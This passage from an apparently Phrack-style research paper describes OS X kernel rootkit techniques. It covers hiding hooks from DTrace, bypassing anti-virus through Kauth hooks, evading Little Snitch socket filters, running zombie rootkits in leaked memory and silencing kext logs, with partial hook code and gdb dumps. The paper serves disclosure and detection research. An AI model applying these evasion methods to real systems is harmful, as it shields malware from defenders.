
sy_return_type = 0x1,

sy_arg_bytes = 0xc

}

dtrace_systrace_syscall is located at address 0xFFFFFF8024FDC630.

After enabling a 'syscall::open:entry' probe:

gdb$ print *(struct sysent*)(0xffffff8025255840+5*sizeof(struct sysent)) $13 = {

sy_narg = 0x3,

sy_resv = 0x0,

sy_flags = 0x0,

sy_call = 0xffffff8024fdc630, <‑ now points to dtrace_systrace_syscall sy_arg_munge32 = 0xffffff8024fe34f0,

sy_arg_munge64 = 0,

sy_return_type = 0x1,

sy_arg_bytes = 0xc

}

To recall DTrace's flow:

User Kernel

open() ‑|‑> unix_syscall64() ‑> dtrace_systrace_syscall ‑> open() syscall

What are the conclusions from all this? If only the sysent table function pointers are modified by the rootkit, DTrace will be unable to directly detect the rootkit using syscall provider. The modified pointer will be copied by DTrace and return to it. DTrace is blind to the original function because it does not exist anymore in the table, only inside our modified version.

If we modify the syscall handler as described in 2.6 and do not update the sysent references in DTrace related functions then DTrace usage will signal the potential presence of a rootkit. DTrace is still referencing the original sysent table and will modify it but the syscall handler is not. The result is that DTrace syscall provider will never receive any event. Conclusion: don't forget to fix those references, although the functions that need to be patched are all static.

‑‑‑‑‑‑[ 6.2.5.2 ‑ fbt provider

fbt stands for function boundary tracing and allows tracing function entry and exit of almost all kernel related functions (there is a small list of untraceable functions called critical_blacklist [bsd/dev/i386/fbt_x86.c]).

The possibilities to detect malicious code using this provider are higher due to its design and implementation. An example using rubilyn rootkit is the best way to demonstrate this:

#dtrace ‑s /dev/stdin ‑c "ls /"

fbt:::entry

/pid == $target/

{

}

^D

Searching output for getdirentries64, without rootkit:

0 99661 unix_syscall64:entry

0 97082 kauth_cred_uthread_update:entry

0 91985 getdirentries64:entry

0 92677 vfs_context_current:entry

Now with rootkit loaded:

0 99661 unix_syscall64:entry

0 97082 kauth_cred_uthread_update:entry

0 2119 new_getdirentries64:entry <‑ hooked syscall!!! 0 91985 getdirentries64:entry <‑ original function 0 92677 vfs_context_current:entry

A very simple trace is able to detect both the hooked syscall and the call to original getdirentries64. Houston, we have a rootkit problem!

DTrace's fbt design and implementation are very interesting so let me "briefly" go thru it to find a way to hide the rootkit.

fbt's design is explained in [23]:

"On x86, FBT uses a trap‑based mechanism that replaces one of the instructions in the sequence that establishes a stack frame (or one of the instructions in the sequence that dismantles a stack frame) with an instruction to transfer control to the interrupt descriptor table (IDT). The IDT handler uses the trapping instruction pointer to look up the FBT probe and transfers control into DTrace. Upon return from DTrace, the replaced instruction is emulated from the trap handler by manipulating the trap stack."

The source files we should focus on are bsd/dev/i386/fbt_x86.c and bsd/dev/dtrace/fbt.c.

DTrace's OS X implementation is done using an illegal instruction opcode, which is (usually) patched into the instruction that sets the base pointer (EBP/RBP). The instruction is emulated inside DTrace and not re‑executed as it happens in debuggers using int3 breakpoints.

Memory dump example with getdirentries64:

Before activating the provider:

gdb$ x/10i 0xFFFFFF8024D01C20

0xffffff8024d01c20: 55 push rbp 0xffffff8024d01c21: 48 89 e5 mov rbp,rsp 0xffffff8024d01c24: 41 56 push r14 0xffffff8024d01c26: 53 push rbx

After:

# dtrace ‑n fbt::getdirentries64:entry

gdb$ x/10i 0xFFFFFF8024D01C20

0xffffff8024d01c20: 55 push rbp 0xffffff8024d01c21: f0 89 e5 lock mov ebp,esp <‑ patched 0xffffff8024d01c24: 41 56 push r14 0xffffff8024d01c26: 53 push rbx

The function that does all the work to find the patch location is __provide_probe_64() [bsd/dev/i386/fbt_x86.c] (FBT_PATCHVAL defines the illegal opcode byte).

Patching is done at fbt_enable() [bsd/dev/dtrace/fbt.c]:

if (fbt‑>fbtp_currentval != fbt‑>fbtp_patchval)

{

(void)ml_nofault_copy((vm_offset_t)&fbt‑>fbtp_patchval, (vm_offset_t)fbt‑>fbtp_patchpoint, sizeof(fbt‑>fbtp_patchval));

fbt‑>fbtp_currentval = fbt‑>fbtp_patchval; ctl‑>mod_nenabled++;

}

The following diagram shows the trap handling of the illegal instruction:

Activate fbt Provider

|

v

fbt_enable()

|

v

Invalid instruction

exception

‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑[ osfmk/x86_64/idt64.s ]

v

idt64_invop()

|

v

hndl_alltraps()

|

v

trap_from_kernel()

‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑[ osfmk/i386/trap.c ]

v

kernel_trap()

‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑[ bsd/dev/i386/fbt_x86.c ]

v

fbt_perfCallback() (...) emulate ‑>

‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑[ bsd/dev/dtrace/dtrace_subr.c ] | continue

v instruction

dtrace_invop()

‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑[ bsd/dev/i386/fbt_x86.c ] |

v

fbt_invop()

‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑[ bsd/dev/dtrace/dtrace.c ] |

v

dtrace_probe()

|

v

__dtrace_probe()

|

v

(...) ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Dtrace is activated inside kernel_trap():

#if CONFIG_DTRACE

if (__improbable(tempDTraceTrapHook != NULL)) {

if (tempDTraceTrapHook(type, state, lo_spp, 0) == KERN_SUCCESS) { /*

* If it succeeds, we are done...

*/

return;

}

}

#endif /* CONFIG_DTRACE */

tempDTraceTrapHook is just a function pointer, which in fbt provider case points to fbt_perfCallback [bsd/dev/i386/fbt_x86.c]. The latter is responsible for calling the DTrace functionality and emulating the patched instruction. The emulations depends on the type of patch that was made ‑ prologue (entry) or epilogue (return), and which instruction was patched. These can be:

‑ MOV RSP, RBP

‑ POP RBP

‑ LEAVE

‑ Also NOPs used by the sdt provider (statically defined tracing)

This information is stored inside DTrace internal structures and returned by the call to dtrace_invop():

emul = dtrace_invop(saved_state‑>isf.rip, (uintptr_t *)saved_state, saved_state‑>rax);

It is not possible to just patch this call because the emul value determines the type of emulation that needs to be executed after.

dtrace_invop is used by fbt and sdt providers and does nothing more than calling function pointers contained in dtrace_invop_hdlr linked list [bsd/dev/dtrace/dtrace_subr.c].

Continuing through the diagram...

fbt_invop is a good candidate to hijack and hide whatever we want from DTrace. This can be done via a trampoline or modifying the function pointer contained in dtrace_invop_hdlr list (symbol available in kernel). From what I could test this list is initialised with the pointer to fbt_invop() before any calls are made to fbt provider. In principle we can modify it without waiting for initial DTrace execution.

int fbt_invop(uintptr_t addr, uintptr_t *state, uintptr_t rval) {

fbt_probe_t *fbt = fbt_probetab[FBT_ADDR2NDX(addr)];

for (; fbt != NULL; fbt = fbt‑>fbtp_hashnext) {

if ((uintptr_t)fbt‑>fbtp_patchpoint == addr) {

if (fbt‑>fbtp_roffset == 0) { x86_saved_state64_t *regs = (x86_saved_state64_t *)state;

CPU‑>cpu_dtrace_caller = *(uintptr_t *)(((uintptr_t)(regs‑>isf.rsp))+sizeof(uint64_t)); // 8(%rsp)

/* 64‑bit ABI, arguments passed in registers. */

dtrace_probe(fbt‑>fbtp_id, regs‑>rdi, regs‑>rsi, regs‑>rdx, regs‑>rcx, regs‑>r8); // <‑‑‑‑‑‑‑‑‑‑ call to dtrace functionality ‑‑‑‑‑‑‑‑

CPU‑>cpu_dtrace_caller = 0;

} else { dtrace_probe(fbt‑>fbtp_id, fbt‑>fbtp_roffset, rval, 0, 0, 0);

CPU‑>cpu_dtrace_caller = 0;

}

return (fbt‑>fbtp_rval); <‑ the emul value }

}

return (0);

}

fbt_invop finds probed address information stored in fbt_probetab array and enters DTrace probe code. The return value that is needed for the emulation is stored inside the structure. To fiddle with DTrace we can emulate this function or create a modified fbt_perfCallback, adding conditions to hide our own addresses. It contains no private symbols so this is an easy task.

Next, is a potential implementation of a hooked fbt_perfCallback function. Please notice that all the necessary code is not implemented. It is a mix of code and "algorithms".

kern_return_t

fbt_perfCallback_hooked(int trapno, x86_saved_state_t *tagged_regs, uintptr_t *lo_spp, __unused int unused2) {

kern_return_t retval = KERN_FAILURE; x86_saved_state64_t *saved_state = saved_state64(tagged_regs);

if (FBT_EXCEPTION_CODE == trapno && !IS_USER_TRAP(saved_state)) {

uintptr_t addr = saved_state‑>isf.rip;

// XXX: verify if we want to hide this address

// remember that addr here is where illegal instruction

// occurred so our list must contain that info

int addr_is_to_hide = hide_from_fbt(addr); // implement this

if (addr_is_to_hide)

{

// XXX: find fbt_probetab symbol here so we can use it next

// and now get the search starting point

fbt_probe_t *fbt = fbt_probetab[FBT_ADDR2NDX(addr)]; // find the structure for current addr

for (; fbt != NULL; fbt = fbt‑>fbtp_hashnext) {

if ((uintptr_t)fbt‑>fbtp_patchpoint == addr) {

// XXX: emulate all code inside fbt_perfCallback here

// except call to dtrace_invop()

// this is the code that is inside the first IF

// conditions in the original function a couple of

// symbols might need to be solved, easy!

}

}

// add fail case here ? shouldn't be necessary unless a big

// f*ckup occurs inside DTrace structures

}

// nothing to hide so call the original function

else

{

kern_return_t ret = KERN_FAILURE;

// XXX: don't forget we need to solve this symbol

ret = fbt_perfCallback(trapno, tagged‑regs, lo_spp, unused2); return ret;

}

}

return retval;

}

Functions that we want to hide from DTrace will never reach its probe system, effectively hiding them. The performance impact should be extremely low unless there are too many functions to hide, and hide_from_fbt() takes too long to execute.

‑‑‑‑[ 6.3 ‑ AV‑Monster II

AV‑Monster is a (old, Feb'12) PoC that exploits the Kauth interface used by OS X anti‑virus solutions [21]. Pardon me for bringing an old subject to this paper but it perfectly illustrates an attack on Kauth, and also because AV vendors, as far as I know, did nothing or very little regarding this problem.

Apple recommends in [22] that anti‑virus install Kauth listeners ‑ they can receive file events and pass them to the scan engine. The problem is that this creates a single point of failure that we can (easily) exploit to bypass the scan engine and remain undetectable (AV detection effectiveness discussion is out of scope ;‑)).

A very basic AV scanning workflow is:

Execute file ‑> Kauth generates event ‑> AV kext listener ‑> AV scan engine

It illustrates at least two distinct possibilities to *easily* bypass the anti‑virus. One is to patch Kauth and the other to patch the kext listener. The old PoC code just NOPs the listener callback to render it inoperative ‑ the scanning engine stops receiving any events. This is too noisy! A stealth implementation should just hijack that step and hide the files we want to, as it is done with hiding files in the filesystem.

This time let me show you how to attack Kauth's. The example will be based on the KAUTH_FILEOP_OPEN action and open() syscall. To avoid unnecessary browsing of XNU sources, this is the worflow up to the interesting point:

open() ‑> open_nocancel() ‑> open1() [ bsd/vfs/vfs_syscalls.c ]

|

v

[ bsd/vfs/vfs_vnops.c ] vn_open_auth() ‑> vn_open_auth_finish()

v

[ bsd/kern/kern_authorization.c ] kauth_authorize_fileop()

v

kauth_authorize_action()

v

listener callback

I do not want to spam you with code but allow me to reprint the fileop function:

int

kauth_authorize_fileop(kauth_cred_t credential, kauth_action_t action, uintptr_t arg0, uintptr_t arg1)

{

char *namep = NULL;

int name_len;

uintptr_t arg2 = 0;

/* we do not have a primary handler for the fileop scope so bail

* out if there are no listeners.

*/

if ((kauth_scope_fileop‑>ks_flags & KS_F_HAS_LISTENERS) == 0) { return(0);

}

if (action == KAUTH_FILEOP_OPEN || action == KAUTH_FILEOP_CLOSE || action == KAUTH_FILEOP_EXEC) {

/* get path to the given vnode as a convenience to our

* listeners.

*/

namep = get_pathbuff(); name_len = MAXPATHLEN;

if (vn_getpath((vnode_t)arg0, namep, &name_len) != 0) { release_pathbuff(namep); return(0);

}

if (action == KAUTH_FILEOP_CLOSE) { arg2 = arg1; /* close has some flags that come in

via arg1 */

}

arg1 = (uintptr_t)namep;

}

kauth_authorize_action(kauth_scope_fileop, credential, action, arg0, arg1, arg2, 0);

if (namep != NULL) { release_pathbuff(namep);

}

return(0);

}

The purpose of this function is to retrieve some useful data to the listener. In this case it is the vnode reference of the file and its full path. Apple's documentation confirms it:

KAUTH_FILEOP_OPEN Notifies that a file system object (a file or directory) has been opened. arg0 (of type vnode_t) is a vnode reference. arg1 (of type (const char *)) is a pointer to the object's full path.

It is clear now that this is a great place to hijack and hide files we do not want the AV to scan (or some other listener ‑ this is also a good feature for a file monitor). We just need to verify if current file matches our list and return 0 if positive, else call the original code (all these functions are not static so we can easily find the symbols).

And that's it. Simple, uh? :‑)

‑‑‑‑[ 6.4 ‑ Little Snitch

Little Snitch is a popular application firewall that can blow up the rootkit cover if network communications are needed and its not taken care of (nobody likes a snitch!). Socket filters is the OS X feature that enables Little Snitch to easily intercept and control (network) sockets without need for hooking or any other (unstable/dubious) tricks. They can filter inbound or outbound traffic on a socket and also out‑of‑band communication [17].

The installation of a socket filter is done using the sflt_register() function, for each domain, type, and protocol socket. Little Snitch loops to install the filter in all possible socket combinations.

extern errno_t sflt_register(const struct sflt_filter *filter, int domain, int type, int protocol);

The interesting detail of sflt_register() is the sflt_filter structure [bsd/sys/kpi_socketfilter.h]. It contains a series of callbacks for different socket operations:

struct sflt_filter {

sflt_handle sf_handle;

int sf_flags;

char *sf_name; sf_unregistered_func sf_unregistered; sf_attach_func sf_attach; // handles attaches to sockets.

sf_detach_func sf_detach;

sf_notify_func sf_notify; sf_getpeername_func sf_getpeername; sf_getsockname_func sf_getsockname; sf_data_in_func sf_data_in; // handles incoming data.

sf_data_out_func sf_data_out; sf_connect_in_func sf_connect_in; // handles inbound

connections.

sf_connect_out_func sf_connect_out;

sf_bind_func sf_bind; // handles binds.

(...)

}

History repeats itself and once again the easiest way is to hook the function pointers and do whatever we want. Little Snitch driver (it's an I/O Kit driver and not a kernel extension) loads very early so hooking sflt_register() and modifying the structure on the fly is not very interesting. We need to lookup the structure in kernel memory and modify it.

Many different socket filters can be attached to the same socket so there must be a data structure holding this information. The interesting source file is bsd/kern/kpi_socketfilter.c, where a tail queue is created and referenced using a static variable sock_filter_head.

struct socket_filter {

TAILQ_ENTRY(socket_filter) sf_protosw_next; TAILQ_ENTRY(socket_filter) sf_global_next; struct socket_filter_entry *sf_entry_head;

struct protosw *sf_proto; struct sflt_filter sf_filter; u_int32_t sf_refcount;

};

TAILQ_HEAD(socket_filter_list, socket_filter);

static struct socket_filter_list sock_filter_head;

There are a few functions referencing sock_filter_head and

the disassembler can be helpful to find the correct location (sflt_attach_internal() is a good candidate). Using gdb attached to kernel and sock_filter_head address:

gdb$ print *(struct socket_filter_list*)0xFFFFFF800EAAC9F8

$1 = {

tqh_first = 0xffffff8014811f08,

tqh_last = 0xffffff8014898e18

}

(sock_filter_head located at 0xFFFFFF80008AC9F8 in 10.8.2 plus KASLR of 0xe200000 in this example)

Iterating around the tail queue we find the Little Snitch socket filter:

gdb$ print *(struct socket_filter*)0xffffff801483e608

$7 = {

sf_protosw_next = {

tqe_next = 0x0,

tqe_prev = 0xffffff8014811f08

},

sf_global_next = {

tqe_next = 0xffffff801483e508,

tqe_prev = 0xffffff801483e718

},

sf_entry_head = 0xffffff801b29a1c8,

sf_proto = 0xffffff800ea2bca0,

sf_filter = {

sf_handle = 0x27e3ea,

sf_flags = 0x5,

sf_name = 0xffffff7f8eb1357b "at_obdev_ls", sf_unregistered = 0xffffff7f8eb0938f,

sf_attach = 0xffffff7f8eb093f9,

sf_detach = 0xffffff7f8eb09539,

sf_notify = 0xffffff7f8eb095e8,

sf_getpeername = 0xffffff7f8eb096a4,

sf_getsockname = 0xffffff7f8eb09707,

sf_data_in = 0xffffff7f8eb0974f,

sf_data_out = 0xffffff7f8eb09bfa,

sf_connect_in = 0xffffff7f8eb0a076,

sf_connect_out = 0xffffff7f8eb0a295,

sf_bind = 0xffffff7f8eb0a446,

sf_setoption = 0xffffff7f8eb0a4ff,

sf_getoption = 0xffffff7f8eb0a547,

sf_listen = 0xffffff7f8eb0a58f,

sf_ioctl = 0xffffff7f8eb0a612,

sf_ext = {

sf_ext_len = 0x38,

sf_ext_accept = 0xffffff7f8eb0a65a,

sf_ext_rsvd = {0x0, 0x0, 0x0, 0x0, 0x0}

}

},

sf_refcount = 0x17

}

The sf_name field from sflt_filter structure can be used to match the correct socket filter, otherwise we would have to find the driver addresses and match the function pointers that belong to that address space.

Different possibilities exist to hide our network connections from Little Snitch and also Apple's application firewall (named com.apple.nke.applicationfirewall). The easiest one is to patch or hook the sf_attach callback. Documentation from the previously mentioned include file:

/*!

@typedef sf_attach_func

@discussion sf_attach_func is called to notify the filter it has been attached to a socket. The filter may allocate memory for this attachment and use the cookie to track it. This filter is called in one of two cases: 1) You've installed a global filter and a new socket was created. 2) Your non‑global socket filter is being attached using the SO_NKE socket option.

@param cookie Used to allow the socket filter to set the cookie for this attachment.

@param so The socket the filter is being attached to. @result If you return a non‑zero value, your filter will not be attached to this socket.

*/

typedef errno_t (*sf_attach_func)(void **cookie, socket_t so);

Forcing the callback to return a non‑zero value will effectively take socket filter firewalls out of the equation. The problem here is that the socket_t structure might not have enough information to distinguish the cases we want to hide ‑ it is too early in the process so there is no address to connect to. There are two fields that contain the PID information of the last process to interact with the socket so this can be useful if we already know the PID to hide connection from/to.

The other callbacks contain "richer" information for our purposes, in particular the structure sockaddr. If you want/need this type of fine‑grain control you should hook here and use that structure to make your hide or not decision. As an exercise, to dump the target address you can attach gdb to the kernel and use the kgmacros command "showsockaddr" on that argument address (assuming you are breakpointing at the callback address).

Another piece of information that can be used to control which process is related to the current socket the is the cookie that is set on attach callback and passed along to almost all other callbacks. The cookie is a user‑defined structure and the following is a partial reverse of Little Snitch's definition:

struct Cookie

{

(...)

0x48: IOLock *lock;

0x74: pid_t pid; // process to whom the socket belongs to

0x78: int32_t count;

0x7C: int32_t *xxx;

0x80: int32_t protocol;

0x85: int8_t domain;

0x86: int8_t type;

(...)

}

As in Kauth, the socket filters create a single point of failure where we can easily hook and filter our "evil" connections. The real difficulty is to find the head of the socket filter tail queue. Having a disassembler in the rootkit makes this a easy task, opening the door to easily bypass application firewalls.

‑‑‑‑[ 6.5 ‑ Zombie rootkits

The idea here is to explore kernel memory allocations and leaks. Kernel and kernel extensions share the same memory map, kernel_map, and there are a few kernel functions "families" to allocate kernel memory:

‑ kalloc.

‑ kmem_alloc.

‑ OSMalloc.

‑ MALLOC/FREE.

‑ IOMalloc/IOFree for I/O Kit.

All functions are wrappers for kernel_memory_allocate(). For additional information check [30], [31] Chapter 6, [13] Chapter 12.

My initial (too complicated idea) was to load the rootkit, hook whatever was needed, unload the rootkit, and then protect the memory that was used. This was based in the fact that unloading does not destroy the rootkit memory so everything would work as long those blocks of memory were not reallocated to something else. I wanted to edit with kernel memory map and mark those pages as used.

If we have a rootkit running that is not associated with a kernel extension we kind of have a zombie rootkit and solve a few problems such as no need to hide from kextstat, no kernel extension structures to find, etc. I later found out that Hoglund and Butler had a similar idea in [32] when they describe the NonPagedPool memory trick ‑ allocate memory in that area, copy the rootkit, and unload the driver. New ideas are tough to have :‑).

Back to the original point...

Simple things usually work better so there is no point in starting with the complicated method. The easiest way is to create a memory leak and use it to store the zombie rootkit version. When the original kernel extension is unloaded all the memory that was previously allocated using one of the functions above (tested with kalloc and _MALLOC) will not be free'd, creating a kernel memory leak that we can abuse and profit from.

The beloved ASCII diagram:

load rootkit ‑> find rootkit ‑> calculate rootkit ‑> alloc zombie base address size memory

v

unload original <‑ transfer control <‑ fix memory <‑ copy rootkit into rootkit to zombie protections zombie memory

To unload the original rootkit is extremely easy ‑ we do not need to execute any additional command, just return KERN_FAILURE from the start function and rootkit will not be loaded. The zombie rootkit already gained control before this so there is no problem and we avoid to execute a kextunload command. Simple :‑).

The control transfer to zombie code has a small caveat that inherits from previous paragraph ‑ the start function must return a value so we can't simple jump into the zombie. Two ideas come to my mind to solve this problem; first we can hook some kernel function and there transfer control to zombie, second we can use kernel threads ‑ create a new thread and let the main one return.

To create a kernel thread the function kernel_thread_start() can be used (include <kern/thread.h> and Mach KPI). Its prototype is:

kern_return_t

kernel_thread_start(thread_continue_t continuation, void *parameter, thread_t *new_thread);

Continuation parameter is a C function pointer where new thread will start execution, parameter is data that we might want to pass to the new thread, and new_thread a thread reference that the caller is responsible for.

The zombie thread start function should have a prototype like this:

void start_thread(void *parameter, wait_result_t wait)

To set the start function pointer we need to find that function address in the zombie memory. Symbol information is not available (__LINKEDIT segment is not loaded) and to avoid reading from the filesystem we can use a quick trick ‑ find the rootkit base address and find the difference to the address of start function in the rootkit (since that is in the original rootkit code). Since we have the zombie start address returned from the memory allocation, we just need to add the difference and we have the location of the start function inside the zombie. Computed the function pointer we can now pass it to kernel_thread_start() and be sure that zombie code will execute.

Next problem...

Copying the original rootkit into the new area invalidates the external symbols solved when kernel extension was loaded. Kernel extension code is position independent (PIC) so calls are made referencing the current instruction address. If we modify the location address and maintain the offset, then the symbol is not valid anymore and most probably will generate a kernel panic when executed.

Example:

Rootkit loaded in memory:

gdb$ x/10i 0xffffff7f83ad671c

0xffffff7f83ad671c: 55 push rbp 0xffffff7f83ad671d: 48 89 e5 mov rbp,rsp 0xffffff7f83ad6720: 48 8d 3d d1 09 00 00 lea rdi,[rip+0x9d1] # 0xffffff7f83ad70f8 <‑ string reference

0xffffff7f83ad6727: 30 c0 xor al,al 0xffffff7f83ad6729: 5d pop rbp 0xffffff7f83ad672a: e9 61 29 35 7f jmp 0xffffff8002e29090 <call to kernel's printf, solved when kext was loaded

The zombie copy:

gdb$ x/10i 0xffffff80392ba724

0xffffff80392ba724: 55 push rbp 0xffffff80392ba725: 48 89 e5 mov rbp,rsp 0xffffff80392ba728: 48 8d 3d d1 09 00 00 lea rdi,[rip+0x9d1] # 0xffffff80392bb100 <‑ string reference will be valid 0xffffff80392ba72f: 30 c0 xor al,al 0xffffff80392ba731: 5d pop rbp 0xffffff80392ba732: e9 61 29 35 7f jmp 0xffffff80b860d098 <this is a random address and will crash when we call this Function

I am not sure if there is a better solution but I opted out to manually fix the offsets in the zombie code (probably influenced by the quick trick to find the thread start function). My idea is to build a table of all external symbols we will need to fix (hardcoded string table or read kext symbol tables from disk) and solve their addresses. With this information we can disassemble the kernel and find all references, and also compute the (references's) difference to the rootkit base address.

The final step is to fix the offsets in the zombie references. We have the difference for each reference so we can calculate where each reference is located in the zombie memory and recompute the new offset to the external symbol. References to the __DATA segment do not need to be fixed ‑ the offsets remain valid since that segment was copied and relative distance remains the same. Maybe a bit too much work but the disassembler engine makes this rather easy to accomplish. If you have a better solution I am eager to read about it.

Returning KERN_FAILURE to kextload will generate noisy log messages about the rootkit.

/var/log/system.log:

May 7 02:26:10 mountain‑lion‑64.local com.apple.kextd[12]: Failed to load /Users/reverser/the_flying_circus.kext ‑ (libkern/kext) kext (kmod) start/stop routine failed.

dmesg:

Kext put.as.the‑flying‑circus start failed (result 0x5).

Kext put.as.the‑flying‑circus failed to load (0xdc008017). Failed to load kext put.as.the‑flying‑circus (error 0xdc008017).

The dmesg output can be silenced by temporarily patching OSKextLog function or by directly memory patching the binaries that call this function. The fastest and easiest way is to do it inside the kernel solve the symbol and patch the first instruction to a ret. After rootkit is loaded we can restore original byte and everything is back to normal.

The syslog output is generated by kextd daemon. Two quick solutions come to my mind ‑ one is to patch syslogd as described before, another is to patch kextd. The symbol used to send the message to syslogd is asl_vlog. It is an external symbol in kextd. The symbol stub can be temporarily patched into a ret to avoid failure logging. Find the kextd process from process list, process its Mach‑O header and locate the symbol stub address in __stubs section. Nothing very complicated!

To detect when to restore the logging features, we can use a quick and dirty hack. Loop inside the zombie thread until kextload process is finished. Then the original bytes can be restored and its business as usual but with a zombie rootkit loaded.

The foundation blocks to zombie rootkits are exposed, the remaining are implementation details that do not matter much here and can be found in the attached sample code.

‑‑[ 7 ‑ Caveats & Detection

Writing rootkits is a dangerous and unstable game and that is why it is such a fun game (or work for those doing it for money). You are always at mercy of subtle or major changes that can ruin all your efforts and uncloak your toy. Nevertheless, these are the same reasons why writing rootkits is so fun ‑ you need to make it as stable and future‑proof as possible, and try to think in all different detection paths. It is a never‑ending story, quite frustrating at times but mentally and creatively challenging.

This paper is considerably huge but still incomplete! There are a few missing areas and you probably spotted a few problems with some of its approaches. Let me try to describe some.

One of the main problems is the dependency on proc, task and some other structures. These are opaque to outsiders for one good reason ‑ they are changed frequently between major OS X versions. For example, when I was researching I forgot to include a define and things were not working (lucky or not it was not crashing the test system). Three different proc_t (and task_t) versions must be included to create a rootkit compatible with the three latest major OS X versions. And it is most certain that it will break with a new major release.

In practice there is at least one rather easy way to overcome this difficulty. The effective number of fields required from proc and task structures is small. We can resort to information "leaks" from functions referencing those fields and retrieve the structure offset. Including a disassembler in the rootkit makes this task easier and safer. There are many suitable functions ‑ small, stable, and with very few different structures and variables. Many are static, but the number of exported ones are more than enough for this purpose.

Filesystem checks (offline in particular) are a significant threat to rootkits, especially when there is a good reference baseline. Good rootkits must try to keep their filesystem (and memory) footprint to a minimum. One of the usual weakest points is the rootkit startup. It must be initialised somewhere! OS X features so many places where this can happen but this information is available to both defensive and offensive sides. Binaries modification (for example, kernel extension injection as featured in last Phrack) is a good method but (easily) detectable by checksum checks.

Regarding this problem, we can try to abuse additional features. OS X contains many data files that are mutable (sqlite3 databases, for example) and by nature difficult to checksum. A potential vulnerability using these data files could be explored and all the rootkit code stored there. Nothing new here, just remembering additional attacking and storage points.

Extreme care is required with rootkit's code ‑ it must be as bug free as possible so that any inconsistencies and/or bugs do not reveal its presence, and must be carefully designed, for example, authentication and encryption on all communications. It is quite a joke that a simple ioctl call can expose OS.X/Crisis [4]. There is a "rule" ‑ if it runs, it can be reversed. But lets not make that so easy, ok?

Duplicating functions to use with the trampoline trick is also a potential source of problems if those functions are changed in new versions. This can be avoided by using the original functions ‑ modify the call references or hijack the function and return to the original one. Using the NOP alignment space allows us to keep pointers and references inside the kernel memory address space and less suspicious to an initial analysis.

Detection and creation of tools is the next logical step. OS X lacks this kind of tools and here lies a good opportunity for future research and development. The defensive side against rootkits is even more challenging and requires additional creativity (and maybe kernel knowledge) to develop safer and reliable detection methods. The challenge is issued :‑).

‑‑[ 8 ‑ Final words

This was a long paper and I sincerely hope it was useful in some way to you who had the time and patience to read it. New ideas are hard to come by and there (probably) are many here that were somehow previously explored by others. Please apologize me if missing attribution ‑ it is only because I do not know or I am not aware who is the original author/source. It is particularly difficult when you read so much stuff thru the years.

The full disclosure discussion is extremely complicated and impossible to reach consensus. Full source code is hereby released because I believe it is the only (viable) alternative to move things forward and call for additional research and solutions. OS X is a great platform but it (still) suffers from a invincibility mystique that it is false and dangerous. There are companies producing commercial rootkits sold to governments to potentially spy on citizens (they say criminals, we have no idea since there is no transparency).

Obviously these tools can be used for legitimate purposes (such as tracking real bad guys) but also no so legitimate ‑ power corrupts and temptation is too big to spy and control everyone. A balance is required and it can come from improved research and defensive tools. Scoffing at the low incentives or potential difficulties is not the solution history has shown that there is always someone who will leap forward and break the establishment.

This paper's goal is not to assist in developing a surveillance dissident death machine (name kindly suggested by thegrugq!) but to show the different ways it can be built, and how to detect and protect against them. I can't avoid its potential bad usage but at least it should make the playing field a bit more balanced.

Greets to nemo, noar, snare, all my put.as friends (saure, od, spico, kahuna, emptydir, korn, g0sh, ...), thegrugq, diff‑t, tal0n and everyone else at C., the blog readers and #osxre boys & girls.

And a big middle finger to Apple as a company, born from the hacking spirit and now transformed against hacking.

Enjoy & have fun,

fG!

‑‑[ 9 ‑ References

[1] ghalen and wowie, Developing Mac OSX kernel rootkits http://www.phrack.org/issues.html?issue=66&id=16&mode=txt

[2] prdelka, Rubilyn 0.0.1 http://www.nullsecurity.net/tools/backdoor.html

[3] 0xfeedbeef, volafox : rubilyn Rootkit Analysis http://feedbeef.blogspot.pt/2012/10/volafox‑rubilyn‑rootkit‑analysis.ht

ml

[4] fG!, Tales from Crisis http://reverse.put.as/2012/08/06/tales‑from‑crisis‑chapter‑1‑the‑droppe

rs‑box‑of‑tricks/

[5] snare, Resolving kernel symbols http://ho.ax/posts/2012/02/resolving‑kernel‑symbols/

[6] Landon Fuller ‑ Fixing ptrace(pt_deny_attach, ...) on Mac OS X 10.5 Leopard, http://landonf.bikemonkey.org/code/macosx/Leopard_PT_DENY_ATTA

CH.20080122.html

[7] Miller, Charlie & Zovi, Dino Dai, The Mac Hacker's Handbook Wiley Publishing, 2009, ISBN: 978‑0‑470‑39536‑3

[8] Wikipedia, Interrupt descriptor table http://en.wikipedia.org/wiki/Interrupt_descriptor_table

[9] fG!, bruteforcesysent https://github.com/gdbinit/bruteforcesysent

[10] OS X ABI Mach‑O File Format Reference https://developer.apple.com/library/mac/#documentation/developertools/

conceptual/MachORuntime/Reference/reference.html

[11] fG!, Secuinside 2012, How to Start your Apple reverse engineering adventure, http://reverse.put.as/wp‑content/uploads/2012/07/Secuinside

‑2012‑Presentation.pdf

[12] fG!, Hitcon 2012, Past and Future in OS X malware http://reverse.put.as/Hitcon_2012_Presentation.pdf

[13] Jonathan Levin, Mac OS X and iOS Internals

Wiley & Sons, 2012, ISBN: 978‑1‑11805765‑0

[14] Amit Singh, Mac OS X Internals

Addison Wesley, 2007, ISBN: 0‑321‑27854‑2

[15] Apple, dyld 210.2.3 source code http://www.opensource.apple.com/source/dyld/dyld‑210.2.3/

[16] fG!, Anti‑debug trick #1: Abusing Mach‑O to crash GDB http://reverse.put.as/2012/01/31/anti‑debug‑trick‑1‑abusing‑mach‑o‑to‑

crash‑gdb/

[17] Apple, Network Kernel Extensions Programming Guide https://developer.apple.com/library/mac/#documentation/Darwin/Conceptu

al/NKEConceptual/intro/intro.html#//apple_ref/doc/uid/TP40001858‑CH225

‑DontLinkElementID_70

[18] Apple, tcplognke http://developer.apple.com/library/mac/#/legacy/mac/library/samplecode

/tcplognke/Introduction/Intro.html

[19] Gil Dabah, diStorm ‑ Powerful Disassembler Library For x86/AMD64 http://code.google.com/p/distorm/

[20] McKusick et al, The Design and Implementation of the 4.4BSD Oper. System, Addison Wesley, 1996, ISBN: 0‑201‑54979‑4

